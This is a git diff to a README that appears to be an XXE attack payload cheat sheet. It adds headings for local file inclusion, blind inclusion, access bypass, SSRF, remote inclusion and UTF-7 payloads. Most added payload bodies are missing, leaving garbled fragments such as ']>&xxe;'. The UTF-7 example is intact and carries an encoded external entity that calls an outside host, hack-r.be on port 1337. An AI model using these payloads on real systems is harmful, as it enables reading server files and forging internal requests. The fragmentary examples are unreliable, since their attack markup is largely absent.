diff --git a/README.md b/README.md index 0ea5ab3..bcde9e3 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,7 @@ There are various types of XXE attacks: ``` -###### XXE: Denial-of-service Example +###### XXE: Denial-of-Service Example ``` @@ -72,7 +72,62 @@ There are various types of XXE attacks: &lol9; ``` - #### References : +###### XXE: Local File Inclusion Example + + ``` + + +]>&xxe; + ``` + +###### XXE: Blind Local File Inclusion Example (When first case doesn't return anything.) + + ``` + + + +]>&blind; + ``` + +###### XXE: Access Control Bypass (Loading Restricted Resources - PHP example) + +``` + +]> + +``` + +###### XXE:SSRF ( Server Side Request Forgery ) Example + +``` + + +]>&xxe; +``` + +###### XXE: (Remote Attack - Through External Xml Inclusion) Exmaple + +``` + +]> +3..2..1...&test +``` + +###### XXE: UTF-7 Exmaple + +``` + ++ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 ++ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ ++ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 +``` + +#### References : 👉 [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)